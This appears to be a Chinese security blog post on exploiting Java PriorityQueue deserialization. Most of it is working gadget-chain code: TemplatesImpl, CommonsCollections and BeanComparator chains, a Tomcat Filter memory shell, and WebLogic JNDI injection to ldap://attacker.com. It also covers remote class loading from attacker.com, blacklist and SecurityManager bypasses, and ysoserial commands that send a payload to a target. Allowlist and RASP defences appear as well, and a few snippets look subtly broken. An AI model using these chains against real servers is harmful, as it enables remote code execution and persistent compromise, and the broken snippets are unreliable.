Java PriorityQueue的深度利用技巧

2025-03-26 19 0

一、PriorityQueue 反序列化漏洞核心原理

PriorityQueue 在反序列化时会触发heapify()方法重建堆结构,通过siftDown()方法调用Comparator.compare()或元素的compareTo()方法。这是构造反序列化攻击链的关键切入点。

1. 基础攻击链构造(结合 TemplatesImpl)

// 生成恶意字节码
public static class EvilClass {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {}
    }
}

byte[] evilCode = ClassPool.getDefault().makeClass(EvilClass.class).toBytecode();

// 构造 TemplatesImpl 对象
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_name", "Exploit");
setField(templates, "_bytecodes", new byte[][]{evilCode});
setField(templates, "_tfactory", null);

// 构造比较器链
Comparator comparator = new Comparator() {
    public int compare(Object o1, Object o2) {
        try {
            templates.newTransformer(); // 触发静态代码块
        } catch (Exception e) {}
        return 0;
    }
};

// 构造恶意 PriorityQueue
PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
queue.add(1);
queue.add(1);

// 序列化 payload
ByteArrayOutputStream bos = new ByteArrayOutputStream();
new ObjectOutputStream(bos).writeObject(queue);
byte[] payload = bos.toByteArray();

// 反序列化触发
new ObjectInputStream(new ByteArrayInputStream(payload)).readObject();

二、绕过技巧

1. 结合 BeanComparator(commons-beanutils)

// 构造属性比较链
BeanComparator comparator = new BeanComparator("outputProperties");
PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);

// 设置触发对象
queue.add(templates);
queue.add(templates);

// 序列化后触发流程:
// 1. PriorityQueue 反序列化触发排序
// 2. BeanComparator 调用 getOutputProperties()
// 3. 触发 TemplatesImpl.newTransformer()

2. JDK 高版本绕过(jdk >= 8u71)

// 使用 ToStringComparator(commons-collections4)
Comparator comparator = new TransformedComparator(
    new InvokerTransformer("toString", null, null),
    new ConstantTransformer(1)
);

PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
queue.add(templates); // 对象需实现 Comparable
queue.add(templates);

// 触发流程:
// compare() → toString() → getOutputProperties()

三、内存马注入技巧

1. Tomcat Filter 型内存马

// 构造恶意 Filter 注入链
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Thread.currentThread().getContextClassLoader()),
    new InvokerTransformer("loadClass", 
        new Class[]{String.class}, 
        new Object[]{"org.apache.catalina.core.ApplicationFilterConfig"}),
    new InvokerTransformer("getMethod",
        new Class[]{String.class, Class[].class},
        new Object[]{"getFilter", new Class[0]}),
    new InvokerTransformer("invoke",
        new Class[]{Object.class, Object[].class},
        new Object[]{null, new Object[0]}),
    new InvokerTransformer("setFilter",
        new Class[]{Filter.class},
        new Object[]{new EvilFilter()})
};

ChainedTransformer chain = new ChainedTransformer(transformers);
PriorityQueue<Object> queue = new PriorityQueue<>(2, new TransformingComparator(chain));

四、防御对抗技术

1. 黑名单检测绕过

// 使用非标准 Transformer 组合
Comparator comparator = new ComparatorChain(Arrays.asList(
    new ConstantTransformer(Class.forName("java.lang.Runtime")),
    new InvokerTransformer("getMethod",
        new Class[]{String.class, Class[].class},
        new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke",
        new Class[]{Object.class, Object[].class},
        new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec",
        new Class[]{String.class},
        new Object[]{"calc.exe"})
));

2. 反射绕过 SecurityManager

// 通过 Unsafe 修改访问权限
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);

// 强制修改 Comparator 字段
Field comparatorField = PriorityQueue.class.getDeclaredField("comparator");
long offset = unsafe.objectFieldOffset(comparatorField);
unsafe.putObject(queue, offset, maliciousComparator);

五、检测与防御方案

1. 安全反序列化实现

public class SafeObjectInputStream extends ObjectInputStream {
    private static final Set<String> ALLOWED_CLASSES = 
        Set.of("java.util.PriorityQueue", "java.lang.Integer");

    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc)
        throws IOException, ClassNotFoundException {
        if (!ALLOWED_CLASSES.contains(desc.getName())) {
            throw new InvalidClassException("Unauthorized class: ", desc.getName());
        }
        return super.resolveClass(desc);
    }
}

// 使用方式
try (ObjectInputStream ois = new SafeObjectInputStream(inputStream)) {
    ois.readObject();
}

2. 运行时检测(RASP)

// 使用 Java Agent 检测 PriorityQueue 反序列化
public class PriorityQueueAgent {
    public static void premain(String args, Instrumentation inst) {
        inst.addTransformer((loader, className, classBeingRedefined, 
            protectionDomain, classfileBuffer) -> {
            if ("java/util/PriorityQueue".equals(className)) {
                ClassReader cr = new ClassReader(classfileBuffer);
                ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_FRAMES);
                cr.accept(new ClassVisitor(ASM9, cw) {
                    @Override
                    public MethodVisitor visitMethod(int access, String name, String descriptor,
                        String signature, String[] exceptions) {
                        MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
                        if ("readObject".equals(name)) {
                            return new MethodVisitor(ASM9, mv) {
                                @Override
                                public void visitCode() {
                                    mv.visitMethodInsn(INVOKESTATIC, 
                                        "SecurityMonitor", 
                                        "checkDeserialization", 
                                        "()V");
                                    super.visitCode();
                                }
                            };
                        }
                        return mv;
                    }
                }, 0);
                return cw.toByteArray();
            }
            return classfileBuffer;
        });
    }
}

六、漏洞验证与利用

1. 使用 ysoserial 生成 payload

# 生成 CommonsCollections2 的 PriorityQueue payload
java -jar ysoserial.jar CommonsCollections2 "curl http://attacker.com" > payload.bin

# 发送到目标服务
curl -X POST --data-binary @payload.bin http://vuln-app/deserialize-endpoint

2. 手工构造检测

// 检测 PriorityQueue 使用情况
Pattern.compile("new PriorityQueue\\s*\\(\\s*\\d+\\s*,\\s*.*Comparator")
       .matcher(sourceCode)
       .find();

总结与防御建议

  1. 漏洞本质
    PriorityQueue 的反序列化过程通过比较器执行任意代码,形成「二次触发」机制

  2. 演进趋势

    • 从简单的Comparator.compare()到复杂的代理模式

    • 结合新型库(如 fastjson、xstream)进行链式扩展

  3. 防御策略

<!-- Maven 依赖安全配置 -->
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.2</version> <!-- 安全版本 -->
</dependency>
# JVM 启动参数加固
-Dorg.apache.commons.collections.enableUnsafeSerialization=false
-Dcom.sun.org.apache.xalan.internal.xsltc.dom.XSLTCDTMManager=com.sun.org.apache.xalan.internal.xsltc.dom.XSLTCDTMManager

关键审计点:

ObjectInputStream.readObject() 
XMLDecoder.readObject()
JSON.parseObject() with @type 特性
PriorityQueue 构造器中使用自定义 Comparator

PriorityQueue的高级利用技巧

一、基于 InstantiateTransformer的类实例化攻击(CC4 链变种)

1. 核心原理

利用InstantiateTransformer直接实例化恶意类,结合TrAXFilter触发模板加载:

// 构造 TemplatesImpl 对象(存储恶意字节码)
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_name", "Exploit");
setField(templates, "_bytecodes", new byte[][]{evilCode});

// 使用 InstantiateTransformer 触发构造函数
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(TrAXFilter.class),  // 目标类
    new InstantiateTransformer(
        new Class[]{Templates.class}, 
        new Object[]{templates}  // 参数传入恶意模板
    )
};
ChainedTransformer chain = new ChainedTransformer(transformers);

// 构造 PriorityQueue 触发链
PriorityQueue<Object> queue = new PriorityQueue<>(
    2, 
    new TransformingComparator(chain)
);
queue.add(1);
queue.add(2);

绕过点:通过TrAXFilter的构造函数间接调用TemplatesImpl.newTransformer(),避免直接触发InvokerTransformer

二、ExtractorComparator + FilterExtractor绕过黑名单(WebLogic 场景)

1. 利用 WebLogic 未过滤类

// 构造 JNDI 注入链
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("ldap://attacker.com/Exploit");

// 使用 FilterExtractor 替代 LockVersionExtractor
MethodAttributeAccessor accessor = new MethodAttributeAccessor();
accessor.setGetMethodName("getDatabaseMetaData");
FilterExtractor extractor = new FilterExtractor(accessor, "UnicodeSec");

// 构建 PriorityQueue 触发比较器
PriorityQueue<Object> queue = new PriorityQueue<>(
    2, 
    new ExtractorComparator(extractor)
);
queue.add(jdbcRowSet);
queue.add(jdbcRowSet);

绕过原理:利用 WebLogic 未将FilterExtractor加入黑名单的特性,结合MethodAttributeAccessor触发 JNDI 注入。

三、二次反序列化技术(SignedObject 封装)

1. 通过 SignedObject 间接触发

// 构造基础 PriorityQueue 链
PriorityQueue<Object> baseQueue = ...; // 标准恶意队列

// 封装到 SignedObject 中
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(baseQueue, kp.getPrivate(), Signature.getInstance("DSA"));

// 通过二次反序列化触发
HashMap<Object, Object> triggerMap = new HashMap<>();
triggerMap.put(signedObject, "value");

// 序列化后发送,触发流程:
// 1. HashMap 反序列化
// 2. 调用 SignedObject.getObject() 
// 3. 触发内部 PriorityQueue 的反序列化

优势:绕过直接入口类的黑名单检测,适用于入口类被严格限制的场景。

四、BeanComparator + TemplatesImpl非反射链

1. 利用属性比较触发方法

// 构造 TemplatesImpl 对象
TemplatesImpl templates = ...; // 包含恶意字节码

// 使用 BeanComparator 触发 getOutputProperties()
BeanComparator comparator = new BeanComparator("outputProperties");
PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
queue.add(templates);
queue.add(templates);

// 序列化后触发流程:
// 1. PriorityQueue 反序列化触发排序
// 2. BeanComparator 调用 getOutputProperties()
// 3. 触发 TemplatesImpl.newTransformer()

关键点:通过属性访问而非反射调用,绕过对InvokerTransformer的检测。

五、ExternalizableLite接口绕过(Coherence 协议)

1. 利用 Coherence 的序列化机制

// 构造恶意 AttributeHolder 对象
AttributeHolder holder = new AttributeHolder();
holder.setValue(evilPriorityQueue); // 封装 PriorityQueue 链

// 通过 Coherence 协议传输
ExternalizableHelper.writeObject(outputStream, holder);

// 触发流程:
// 1. 反序列化 AttributeHolder 时调用 readExternal()
// 2. 通过 ExternalizableHelper.readObject() 二次反序列化 PriorityQueue

适用场景:WebLogic 的 T3 协议中,利用ExternalizableLite接口绕过原生反序列化黑名单。

六、动态类加载 + URLClassLoader组合攻击

1. 远程加载恶意类

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(URLClassLoader.class),
    new InvokerTransformer("newInstance", 
        new Class[]{URL[].class}, 
        new Object[]{new URL[]{new URL("http://attacker.com/")}}),
    new InvokerTransformer("loadClass",
        new Class[]{String.class},
        new Object[]{"Exploit"}),
    new InvokerTransformer("newInstance", null, null)
};

PriorityQueue<Object> queue = new PriorityQueue<>(
    2, 
    new TransformingComparator(new ChainedTransformer(transformers))
);

特点:完全避免本地字节码生成,依赖远程类加载实现攻击。

防御建议

  1. 深度防御策略

    • 使用SerialKiller等安全反序列化库

    • 启用 SecurityManager 并配置严格策略

    • 定期更新 Coherence、Jackson 等组件的安全补丁

  2. 运行时监控

// RASP 检测示例
public class DeserializationMonitor {
    public static void check(Object obj) {
        if (obj instanceof PriorityQueue) {
            Comparator<?> comp = ((PriorityQueue<?>)obj).comparator();
            if (comp instanceof TransformingComparator) {
                throw new SecurityException("Blocked dangerous comparator!");
            }
        }
    }
}

4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

HTB-Devvortex-WriteUp
WEB漏洞——越权
新型SectopRAT木马利用Cloudflare验证系统攻击Windows用户
医疗行业网络安全现状令人担忧
2025年全球网络安全支出预计增长12.2%
九个存在九年的npm软件包遭劫持 通过混淆脚本窃取API密钥

发布评论